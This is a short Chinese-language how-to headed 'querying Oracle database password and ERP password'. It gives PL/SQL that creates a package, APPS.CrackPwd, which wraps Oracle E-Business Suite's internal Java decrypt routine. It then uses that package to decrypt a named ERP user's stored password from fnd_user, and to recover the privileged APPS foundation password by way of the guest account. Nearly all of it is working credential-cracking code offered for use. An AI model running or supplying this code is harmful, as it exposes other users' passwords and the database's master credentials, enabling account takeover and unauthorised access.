查詢ORACLE 數據庫密碼和ERP 密碼

1）先建立Package CREATE OR REPLACE PACKAGE APPS.CrackPwd AUTHID CURRENT_USER AS    FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)       RETURN VARCHAR2; END CrackPwd; / CREATE OR REPLACE PACKAGE BODY APPS.CrackPwd AS    FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)       RETURN VARCHAR2    AS       LANGUAGE JAVA       NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'; END CrackPwd; / 2）建立後可以直接執行下面SQL   DECLARE    v_encrypted_pwd   VARCHAR2 (100);    v_apps_pwd        VARCHAR2 (100);    v_user_pwd        VARCHAR (100); BEGIN   -- v_encrypted_pwd :='ZGF8C9616AD138A7F985E6316F55717D0F4EC37064A09A7F4DC67961E60A3880D8B00B3018595A4FB3E95B632AACC3376B61';   select ENCRYPTED_USER_PASSWORD into v_encrypted_pwd from fnd_user where user_name='GAOLEI'; -----ERP帳號 --get  ENCRYPTED_USER_PASSWORD from fnd_user    IF v_apps_pwd IS NULL    THEN       v_apps_pwd := 'APPSDEV3';  ------DB數據庫名字    END IF;    v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);    DBMS_OUTPUT.put_line (v_user_pwd); END; 3）查詢數據庫名字（前提是要進入數據庫） SET SERVEROUTPUT ON DECLARE   guestUserPwd VARCHAR2(200);   guestUserName VARCHAR2(100);   guestFndPwd VARCHAR2(100);   guestEncFndPwd VARCHAR2(100);   delim NUMBER; BEGIN guestUserPwd :='GUEST/ORACLE';--Can any user password IF  guestUserPwd IS NULL THEN          guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));   END IF;   DBMS_OUTPUT.put_line(guestUserPwd);   delim := INSTR(guestUserPwd,'/');   guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));   DBMS_OUTPUT.put_line(guestUserName);    SELECT encrypted_foundation_password INTO guestEncFndPwd   FROM fnd_user_view   WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND     (end_date IS NULL OR end_date > SYSDATE);      guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);     IF NOT (guestFndPwd IS NULL) THEN        DBMS_OUTPUT.put_line(guestFndPwd);     END IF; END;
